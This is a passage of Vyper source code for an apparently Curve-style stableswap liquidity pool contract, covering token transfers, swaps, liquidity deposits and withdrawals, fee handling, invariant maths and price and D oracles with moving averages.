for the new plain pool. @param _A Amplification co-efficient - a lower value here means less tolerance for imbalance within the pool's assets. Suggested values include: * Uncollateralized algorithmic stablecoins: 5-10 * Non-redeemable, collateralized assets: 100 * Redeemable assets: 200-400 @param _fee Trade fee, given as an integer with 1e10 precision. The the maximum is 1% (100000000). 50% of the fee is distributed to veCRV holders. @param _offpeg_fee_multiplier A multiplier that determines how much to increase Fees by when assets in the AMM depeg. Example value: 20000000000 @param _ma_exp_time Averaging window of oracle. Set as time_in_seconds / ln(2) Example: for 10 minute EMA, _ma_exp_time is 600 / ln(2) ~= 866 @param _coins List of addresses of the coins being used in the pool. @param _rate_multipliers An array of: [10 ** (36 - _coins[n].decimals()), ... for n in range(N_COINS)] @param _asset_types Array of uint8 representing tokens in pool @param _method_ids Array of first four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that gives rate oracles. Calculated as: keccak(text=event_signature.replace(" ", ""))[:4] @param _oracles Array of rate oracle addresses. """ coins = _coins asset_types = _asset_types pool_contains_rebasing_tokens = 2 in asset_types __n_coins: uint256 = len(_coins) N_COINS = __n_coins N_COINS_128 = convert(__n_coins, int128) rate_multipliers = _rate_multipliers factory = Factory(msg.sender) A: uint256 = unsafe_mul(_A, A_PRECISION) self.initial_A = A self.future_A = A self.fee = _fee self.offpeg_fee_multiplier = _offpeg_fee_multiplier assert _ma_exp_time != 0 self.ma_exp_time = _ma_exp_time self.D_ma_time = 62324 # <--------- 12 hours default on contract start. self.ma_last_time = self.pack_2(block.timestamp, block.timestamp) # ------------------- initialize storage for DynArrays ------------------ _call_amount: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _scale_factor: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _rate_oracles: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): if i < N_COINS_128 - 1: self.last_prices_packed.append(self.pack_2(10**18, 10**18)) _rate_oracles.append(convert(_method_ids[i], uint256) * 2**224 | convert(_oracles[i], uint256)) self.stored_balances.append(0) self.admin_balances.append(0) if _asset_types[i] == 3: _call_amount.append(10**convert(ERC20Detailed(_coins[i]).decimals(), uint256)) _underlying_asset: address = ERC4626(_coins[i]).asset() _scale_factor.append(10**(18 - convert(ERC20Detailed(_underlying_asset).decimals(), uint256))) else: _call_amount.append(0) _scale_factor.append(0) call_amount = _call_amount scale_factor = _scale_factor rate_oracles = _rate_oracles # ----------------------------- ERC20 stuff ------------------------------ name = _name symbol = _symbol # EIP712 related params ----------------- NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # ------------------------ Fire a transfer event ------------------------- log Transfer(empty(address), msg.sender, 0) # ------------------ Token transfers in and out of the AMM ------------------- @internal def _transfer_in( coin_idx: int128, dx: uint256, sender: address, expect_optimistic_transfer: bool, ) -> uint256: """ @notice Contains all logic to handle ERC20 token transfers. @param coin_idx Index of the coin to transfer in. @param dx amount of `_coin` to transfer into the pool. @param sender address to transfer `_coin` from. @param receiver address to transfer `_coin` to. @param expect_optimistic_transfer True if contract expects an optimistic coin transfer """ _dx: uint256 = ERC20(coins[coin_idx]).balanceOf(self) # ------------------------- Handle Transfers ----------------------------- if expect_optimistic_transfer: _dx = _dx - self.stored_balances[coin_idx] assert _dx >= dx else: assert dx > 0 # dev : do not transferFrom 0 tokens into the pool assert ERC20(coins[coin_idx]).transferFrom( sender, self, dx, default_return_value=True ) _dx = ERC20(coins[coin_idx]).balanceOf(self) - _dx # --------------------------- Store transferred in amount --------------------------- self.stored_balances[coin_idx] += _dx return _dx @internal def _transfer_out(_coin_idx: int128, _amount: uint256, receiver: address): """ @notice Transfer a single token from the pool to receiver. @dev This function is called by `remove_liquidity` and `remove_liquidity_one_coin`, `_exchange`, `_withdraw_admin_fees` and `remove_liquidity_imbalance` methods. @param _coin_idx Index of the token to transfer out @param _amount Amount of token to transfer out @param receiver Address to send the tokens to """ assert receiver != empty(address) # dev: do not send tokens to zero_address if not pool_contains_rebasing_tokens: # we need not cache balanceOf pool before swap out self.stored_balances[_coin_idx] -= _amount assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) else: # cache balances pre and post to account for fee on transfers etc. coin_balance: uint256 = ERC20(coins[_coin_idx]).balanceOf(self) assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) self.stored_balances[_coin_idx] = coin_balance - _amount # -------------------------- AMM Special Methods ----------------------------- @view @internal def _stored_rates() -> DynArray[uint256, MAX_COINS]: """ @notice Gets rate multipliers for each coin. @dev If the coin has a rate oracle that has been properly initialised, this method queries that rate by static-calling an external contract. """ rates: DynArray[uint256, MAX_COINS] = rate_multipliers for i in range(N_COINS_128, bound=MAX_COINS_128): if asset_types[i] == 1 and not rate_oracles[i] == 0: # NOTE: fetched_rate is assumed to be 10**18 precision oracle_response: Bytes[32] = raw_call( convert(rate_oracles[i] % 2**160, address), _abi_encode(rate_oracles[i] & ORACLE_BIT_MASK), max_outsize=32, is_static_call=True, ) assert len(oracle_response) == 32 fetched_rate: uint256 = convert(oracle_response, uint256) rates[i] = unsafe_div(rates[i] * fetched_rate, PRECISION) elif asset_types[i] == 3: # ERC4626 # fetched_rate: uint256 = ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i] # here: call_amount has ERC4626 precision, but the returned value is scaled up to 18 # using scale_factor which is (18 - n) if underlying asset has n decimals. rates[i] = unsafe_div( rates[i] * ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i], PRECISION ) # 1e18 precision return rates @view @internal def _balances() -> DynArray[uint256, MAX_COINS]: """ @notice Calculates the pool's balances _excluding_ the admin's balances. @dev If the pool contains rebasing tokens, this method ensures LPs keep all rebases and admin only claims swap fees. This also means that, since admin's balances are stored in an array and not inferred from read balances, the fees in the rebasing token that the admin collects is immune to slashing events. """ result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances_i: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): if pool_contains_rebasing_tokens: # Read balances by gulping to account for rebases balances_i = ERC20(coins[i]).balanceOf(self) - self.admin_balances[i] else: # Use cached balances balances_i = self.stored_balances[i] - self.admin_balances[i] result.append(balances_i) return result # -------------------------- AMM Main Functions ------------------------------ @external @nonreentrant('lock') def exchange( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, False ) @external @nonreentrant('lock') def exchange_received( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins without transferring token in @dev The contract swaps tokens based on a change in balance of coin[i]. The dx = ERC20(coin[i]).balanceOf(self) - self.stored_balances[i]. Users of this method are dex aggregators, arbitrageurs, or other users who do not wish to grant approvals to the contract: they would instead send tokens directly to the contract and call `exchange_received`. Note: This is disabled if pool contains rebasing tokens. @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ assert not pool_contains_rebasing_tokens # dev: exchange_received not supported if pool contains rebasing tokens return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, True, # <--------------------------------------- swap optimistically. ) @external @nonreentrant('lock') def add_liquidity( _amounts: DynArray[uint256, MAX_COINS], _min_mint_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Deposit coins into the pool @param _amounts List of amounts of coins to deposit @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit @param _receiver Address that owns the minted LP tokens @return Amount of LP tokens received by depositing """ assert _receiver != empty(address) # dev: do not send LP tokens to zero_address amp: uint256 = self._A() old_balances: DynArray[uint256, MAX_COINS] = self._balances() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() # Initial invariant D0: uint256 = self.get_D_mem(rates, old_balances, amp) total_supply: uint256 = self.total_supply new_balances: DynArray[uint256, MAX_COINS] = old_balances # -------------------------- Do Transfers In ----------------------------- for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] > 0: new_balances[i] += self._transfer_in( i, _amounts[i], msg.sender, False, # expect_optimistic_transfer ) else: assert total_supply != 0 # dev: initial deposit requires all coins # ------------------------------------------------------------------------ # Invariant after change D1: uint256 = self.get_D_mem(rates, new_balances, amp) assert D1 > D0 # We need to recalculate the invariant accounting for fees # to calculate fair user's share fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) mint_amount: uint256 = 0 if total_supply > 0: ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 ys: uint256 = unsafe_div(D0 + D1, N_COINS) xs: uint256 = 0 _dynamic_fee_i: uint256 = 0 # Only account for fees if we are not the first to deposit base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) # fee[i] = _dynamic_fee(i, j) * difference / FEE_DENOMINATOR xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) _dynamic_fee_i = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(_dynamic_fee_i * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, new_balances) D1 = self.get_D(xp, amp) # <--------------- Reuse D1 for new D value. mint_amount = unsafe_div(total_supply * (D1 - D0), D0) self.upkeep_oracles(xp, amp, D1) else: mint_amount = D1 # Take the dust if there was any # (re)instantiate D oracle if totalSupply is zero. self.last_D_packed = self.pack_2(D1, D1) # Update D ma time: ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) assert mint_amount >= _min_mint_amount, "Slippage screwed you" # Mint pool tokens total_supply += mint_amount self.balanceOf[_receiver] += mint_amount self.total_supply = total_supply log Transfer(empty(address), _receiver, mint_amount) log AddLiquidity(msg.sender, _amounts, fees, D1, total_supply) return mint_amount @external @nonreentrant('lock') def remove_liquidity_one_coin( _burn_amount: uint256, i: int128, _min_received: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Withdraw a single coin from the pool @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @param _min_received Minimum amount of coin to receive @param _receiver Address that receives the withdrawn coins @return Amount of coin received """ assert _burn_amount > 0 # dev: do not remove 0 LP tokens dy: uint256 = 0 fee: uint256 = 0 xp: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) amp: uint256 = empty(uint256) D: uint256 = empty(uint256) dy, fee, xp, amp, D = self._calc_withdraw_one_coin(_burn_amount, i) assert dy >= _min_received, "Not enough coins removed" self.admin_balances[i] += unsafe_div(fee * admin_fee, FEE_DENOMINATOR) self._burnFrom(msg.sender, _burn_amount) self._transfer_out(i, dy, _receiver) log RemoveLiquidityOne(msg.sender, i, _burn_amount, dy, self.total_supply) self.upkeep_oracles(xp, amp, D) return dy @external @nonreentrant('lock') def remove_liquidity_imbalance( _amounts: DynArray[uint256, MAX_COINS], _max_burn_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Withdraw coins from the pool in an imbalanced amount @param _amounts List of amounts of underlying coins to withdraw @param _max_burn_amount Maximum amount of LP token to burn in the withdrawal @param _receiver Address that receives the withdrawn coins @return Actual amount of the LP token burned in the withdrawal """ amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() D0: uint256 = self.get_D_mem(rates, old_balances, amp) new_balances: DynArray[uint256, MAX_COINS] = old_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] != 0: new_balances[i] -= _amounts[i] self._transfer_out(i, _amounts[i], _receiver) D1: uint256 = self.get_D_mem(rates, new_balances, amp) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) ys: uint256 = unsafe_div((D0 + D1), N_COINS) fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) dynamic_fee: uint256 = 0 xs: uint256 = 0 ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) dynamic_fee = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(dynamic_fee * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] D1 = self.get_D_mem(rates, new_balances, amp) # dev: reuse D1 for new D. self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1) total_supply: uint256 = self.total_supply burn_amount: uint256 = unsafe_div((D0 - D1) * total_supply, D0) + 1 assert burn_amount > 1 # dev: zero tokens burned assert burn_amount <= _max_burn_amount, "Slippage screwed you" self._burnFrom(msg.sender, burn_amount) log RemoveLiquidityImbalance( msg.sender, _amounts, fees, D1, total_supply - burn_amount ) return burn_amount @external @nonreentrant('lock') def remove_liquidity( _burn_amount: uint256, _min_amounts: DynArray[uint256, MAX_COINS], _receiver: address = msg.sender, _claim_admin_fees: bool = True, ) -> DynArray[uint256, MAX_COINS]: """ @notice Withdraw coins from the pool @dev Withdrawal amounts are based on current deposit ratios @param _burn_amount Quantity of LP tokens to burn in the withdrawal @param _min_amounts Minimum amounts of underlying coins to receive @param _receiver Address that receives the withdrawn coins @return List of amounts of coins that were withdrawn """ total_supply: uint256 = self.total_supply assert _burn_amount > 0 # dev: invalid burn amount assert len(_min_amounts) == N_COINS # dev: invalid array length for _min_amounts amounts: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances: DynArray[uint256, MAX_COINS] = self._balances() value: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): value = unsafe_div(balances[i] * _burn_amount, total_supply) assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected" amounts.append(value) self._transfer_out(i, value, _receiver) self._burnFrom(msg.sender, _burn_amount) # <---- Updates self.total_supply # --------------------------- Upkeep D_oracle ---------------------------- ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_D_packed_current: uint256 = self.last_D_packed old_D: uint256 = last_D_packed_current & (2**128 - 1) self.last_D_packed = self.pack_2( old_D - unsafe_div(old_D * _burn_amount, total_supply), # new_D = proportionally reduce D. self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1] ) ) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) # ------------------------------- Log event ------------------------------ log RemoveLiquidity( msg.sender, amounts, empty(DynArray[uint256, MAX_COINS]), unsafe_sub(total_supply, _burn_amount) ) # ------- Withdraw admin fees if _claim_admin_fees is set to True -------- if _claim_admin_fees: self._withdraw_admin_fees() return amounts @external @nonreentrant('lock') def withdraw_admin_fees(): """ @notice Claim admin fees. Callable by anyone. """ self._withdraw_admin_fees() # ------------------------ AMM Internal Functions ---------------------------- @view @internal def _dynamic_fee(xpi: uint256, xpj: uint256, _fee: uint256) -> uint256: _offpeg_fee_multiplier: uint256 = self.offpeg_fee_multiplier if _offpeg_fee_multiplier <= FEE_DENOMINATOR: return _fee xps2: uint256 = (xpi + xpj) ** 2 return unsafe_div( unsafe_mul(_offpeg_fee_multiplier, _fee), unsafe_add( unsafe_sub(_offpeg_fee_multiplier, FEE_DENOMINATOR) * 4 * xpi * xpj / xps2, FEE_DENOMINATOR ) ) @internal def __exchange( x: uint256, _xp: DynArray[uint256, MAX_COINS], rates: DynArray[uint256, MAX_COINS], i: int128, j: int128, ) -> uint256: amp: uint256 = self._A() D: uint256 = self.get_D(_xp, amp) y: uint256 = self.get_y(i, j, x, _xp, amp, D) dy: uint256 = _xp[j] - y - 1 # -1 just in case there were some rounding errors dy_fee: uint256 = unsafe_div( dy * self._dynamic_fee( unsafe_div(_xp[i] + x, 2), unsafe_div(_xp[j] + y, 2), self.fee ), FEE_DENOMINATOR ) # Convert all to real units dy = (dy - dy_fee) * PRECISION / rates[j] self.admin_balances[j] += unsafe_div( unsafe_div(dy_fee * admin_fee, FEE_DENOMINATOR) * PRECISION, rates[j] ) # Calculate and store state prices: xp: DynArray[uint256, MAX_COINS] = _xp xp[i] = x xp[j] = y # D is not changed because we did not apply a fee self.upkeep_oracles(xp, amp, D) return dy @internal def _exchange( sender: address, i: int128, j: int128, _dx: uint256, _min_dy: uint256, receiver: address, expect_optimistic_transfer: bool ) -> uint256: assert i != j # dev: coin index out of range assert _dx > 0 # dev: do not exchange 0 coins rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, old_balances) # --------------------------- Do Transfer in ----------------------------- # `dx` is whatever the pool received after ERC20 transfer: dx: uint256 = self._transfer_in( i, _dx, sender, expect_optimistic_transfer ) # ------------------------------- Exchange ------------------------------- x: uint256 = xp[i] + unsafe_div(dx * rates[i], PRECISION) dy: uint256 = self.__exchange(x, xp, rates, i, j) assert dy >= _min_dy, "Exchange resulted in fewer coins than expected" # --------------------------- Do Transfer out ---------------------------- self._transfer_out(j, dy, receiver) # ------------------------------------------------------------------------ log TokenExchange(msg.sender, i, dx, j, dy) return dy @internal def _withdraw_admin_fees(): fee_receiver: address = factory.fee_receiver() if fee_receiver == empty(address): return # Do nothing. admin_balances: DynArray[uint256, MAX_COINS] = self.admin_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if admin_balances[i] > 0: self._transfer_out(i, admin_balances[i], fee_receiver) admin_balances[i] = 0 self.admin_balances = admin_balances # --------------------------- AMM Math Functions ----------------------------- @view @internal def get_y( i: int128, j: int128, x: uint256, xp: DynArray[uint256, MAX_COINS], _amp: uint256, _D: uint256 ) -> uint256: """ Calculate x[j] if one makes x[i] = x Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i != j # dev: same coin assert j >= 0 # dev: j below zero assert j < N_COINS_128 # dev: j above N_COINS # should be unreachable, but good for safety assert i >= 0 assert i < N_COINS_128 amp: uint256 = _amp D: uint256 = _D S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = amp * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i == i: _x = x elif _i != j: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann # - D y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @pure @internal def get_D(_xp: DynArray[uint256, MAX_COINS], _amp: uint256) -> uint256: """ D invariant calculation in non-overflowing integer operations iteratively A * sum(x_i) * n**n + D = A * D * n**n + D**(n+1) / (n**n * prod(x_i)) Converging solution: D[j+1] = (A * n**n * sum(x_i) - D[j]**(n+1) / (n**n prod(x_i))) / (A * n**n - 1) """ S: uint256 = 0 for x in _xp: S += x if S == 0: return 0 D: uint256 = S Ann: uint256 = _amp * N_COINS for i in range(255): D_P: uint256 = D for x in _xp: D_P = D_P * D / x D_P /= pow_mod256(N_COINS, N_COINS) Dprev: uint256 = D # (Ann * S / A_PRECISION + D_P * N_COINS) * D / ((Ann - A_PRECISION) * D / A_PRECISION + (N_COINS + 1) * D_P) D = ( (unsafe_div(Ann * S, A_PRECISION) + D_P * N_COINS) * D / ( unsafe_div((Ann - A_PRECISION) * D, A_PRECISION) + unsafe_add(N_COINS, 1) * D_P ) ) # Equality with the precision of 1 if D > Dprev: if D - Dprev <= 1: return D else: if Dprev - D <= 1: return D # convergence typically occurs in 4 rounds or less, this should be unreachable! # if it does happen the pool is borked and LPs can withdraw via `remove_liquidity` raise @pure @internal def get_y_D( A: uint256, i: int128, xp: DynArray[uint256, MAX_COINS], D: uint256 ) -> uint256: """ Calculate x[i] if one reduces D from being calculated for xp to D Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i >= 0 # dev: i below zero assert i < N_COINS_128 # dev: i above N_COINS S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = A * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i != i: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @view @internal def _A() -> uint256: """ Handle ramping A up or down """ t1: uint256 = self.future_A_time A1: uint256 = self.future_A if block.timestamp < t1: A0: uint256 = self.initial_A t0: uint256 = self.initial_A_time # Expressions in uint256 cannot have negative numbers, thus "if" if A1 > A0: return A0 + unsafe_sub(A1, A0) * (block.timestamp - t0) / (t1 - t0) else: return A0 - unsafe_sub(A0, A1) * (block.timestamp - t0) / (t1 - t0) else: # when t1 == 0 or block.timestamp >= t1 return A1 @pure @internal def _xp_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS] ) -> DynArray[uint256, MAX_COINS]: result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): result.append(unsafe_div(_rates[i] * _balances[i], PRECISION)) return result @view @internal def get_D_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS], _amp: uint256 ) -> uint256: xp: DynArray[uint256, MAX_COINS] = self._xp_mem(_rates, _balances) return self.get_D(xp, _amp) @view @internal def _calc_withdraw_one_coin( _burn_amount: uint256, i: int128 ) -> ( uint256, uint256, DynArray[uint256, MAX_COINS], uint256, uint256 ): # First, need to calculate # * Get current D # * Solve Eqn against y_i for D - _token_amount amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, self._balances()) D0: uint256 = self.get_D(xp, amp) total_supply: uint256 = self.total_supply D1: uint256 = D0 - _burn_amount * D0 / total_supply new_y: uint256 = self.get_y_D(amp, i, xp, D1) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) xp_reduced: DynArray[uint256, MAX_COINS] = xp ys: uint256 = unsafe_div((D0 + D1), unsafe_mul(2, N_COINS)) dx_expected: uint256 = 0 xp_j: uint256 = 0 xavg: uint256 = 0 dynamic_fee: uint256 = 0 for j in range(MAX_COINS_128): if j == N_COINS_128: break dx_expected = 0 xp_j = xp[j] if j == i: dx_expected = xp_j * D1 / D0 - new_y xavg = unsafe_div((xp_j + new_y), 2) else: dx_expected = xp_j - xp_j * D1 / D0 xavg = xp_j dynamic_fee = self._dynamic_fee(xavg, ys, base_fee) xp_reduced[j] = xp_j - unsafe_div(dynamic_fee * dx_expected, FEE_DENOMINATOR) dy: uint256 = xp_reduced[i] - self.get_y_D(amp, i, xp_reduced, D1) dy_0: uint256 = (xp[i] - new_y) * PRECISION / rates[i] # w/o fees dy = unsafe_div((dy - 1) * PRECISION, rates[i]) # Withdraw less to account for rounding errors # update xp with new_y for p calculations. xp[i] = new_y return dy, dy_0 - dy, xp, amp, D1 # -------------------------- AMM Price Methods ------------------------------- @pure @internal def pack_2(p1: uint256, p2: uint256) -> uint256: assert p1 < 2**128 assert p2 < 2**128 return p1 | (p2 << 128) @pure @internal def unpack_2(packed: uint256) -> uint256[2]: return [packed & (2**128 - 1), packed >> 128] @internal @pure def _get_p( xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256, ) -> DynArray[uint256, MAX_COINS]: # dx_0 / dx_1 only, however can have any number of coins in pool ANN: uint256 = unsafe_mul(amp, N_COINS) Dr: uint256 = unsafe_div(D, pow_mod256(N_COINS, N_COINS)) for i in range(N_COINS_128, bound=MAX_COINS_128): Dr = Dr * D / xp[i] p: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) xp0_A: uint256 = unsafe_div(ANN * xp[0], A_PRECISION) for i in range(1, MAX_COINS): if i == N_COINS: break p.append(10**18 * (xp0_A + unsafe_div(Dr * xp[0], xp[i])) / (xp0_A + Dr)) return p @internal def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256): """ @notice Upkeeps price and D oracles. """ ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D) # -------------------------- Upkeep price oracle ------------------------- for i in range(MAX_COINS): if i == N_COINS - 1: break if spot_price[i] != 0: # Update packed prices ----------------- last_prices_packed_new[i] = self.pack_2( min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2. self._calc_moving_average( last_prices_packed_current[i], self.ma_exp_time, ma_last_time_unpacked[0], # index 0 is ma_last_time for prices ) ) self.last_prices_packed = last_prices_packed_new # ---------------------------- Upkeep D oracle --------------------------- last_D_packed_current: uint256 = self.last_D_packed self.last_D_packed = self.pack_2( D, self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1], # index 1 is ma_last_time for D ) ) # Housekeeping: Update ma_last_time for p and D oracles ------------------ for i in range(2): if ma_last_time_unpacked[i] < block.timestamp: ma_last_time_unpacked[i] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) @internal @view def _calc_moving_average( packed_value: uint256, averaging_window: uint256, ma_last_time: uint256 ) -> uint256: last_spot_value: uint256 = packed_value & (2**128 - 1) last_ema_value: uint256 = (packed_value >> 128) if ma_last_time < block.timestamp: # calculate new_ema_value and return that. alpha: uint256 = self.exp( -convert( unsafe_div(unsafe_mul(unsafe_sub(block.timestamp, ma_last_time), 10**18), averaging_window), int256 ) ) return unsafe_div(last_spot_value * (10**18 - alpha) + last_ema_value * alpha, 10**18) return last_ema_value @view @external def last_price(i: uint256) -> uint256: return self.last_prices_packed[i] & (2**128 - 1) @view @external def ema_price(i: uint256) -> uint256: return (self.last_prices_packed[i] >> 128) @external @view def get_p(i: uint256) -> uint256: """ @notice Returns the AMM State price of token @dev if i = 0, it will return the state price of coin[1]. @param i index of state price (0 for coin[1], 1 for coin[2], ...) @return uint256 The state price quoted by the AMM for coin[i+1] """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) return self._get_p(xp, amp, D)[i] @external @view @nonreentrant('lock') def price_oracle(i: uint256) -> uint256: return self._calc_moving_average( self.last_prices_packed[i], self.ma_exp_time, self.ma_last_time & (2**128 - 1) ) @external @view @nonreentrant('lock') def D_oracle() -> uint256: return self._calc_moving_average( self.last_D_packed, self.D_ma_time, self.ma_last_time >> 128 ) # ----------------------------- Math Utils ----------------------------------- @internal @pure def exp(x: int256) -> uint256: """ @dev Calculates the natural exponential function of a signed integer with a precision of 1e18. @notice Note that this function consumes about 810 gas units. The implementation is inspired by Remco Bloemen's implementation under the MIT license here: https://xn--2-umb.com/22/exp-ln. @dev This implementation is derived from Snekmate, which is authored by pcaversaccio (Snekmate), distributed under the AGPL-3.0 license. https://github.com/pcaversaccio/snekmate @param x The 32-byte variable. @return int256 The 32-byte calculation result. """ value: int256 = x # If the result is `< 0.5`, we return zero. This happens when we have the following: # "x <= floor(log(0.5e18) * 1e18) ~ -42e18". if (x <= -41446531673892822313): return empty(uint256) # When the result is "> (2 ** 255 - 1) / 1e18" we cannot represent it as a signed integer. # This happens when "x >= floor(log((2 ** 255 - 1) / 1e18) * 1e18) ~ 135". assert x < 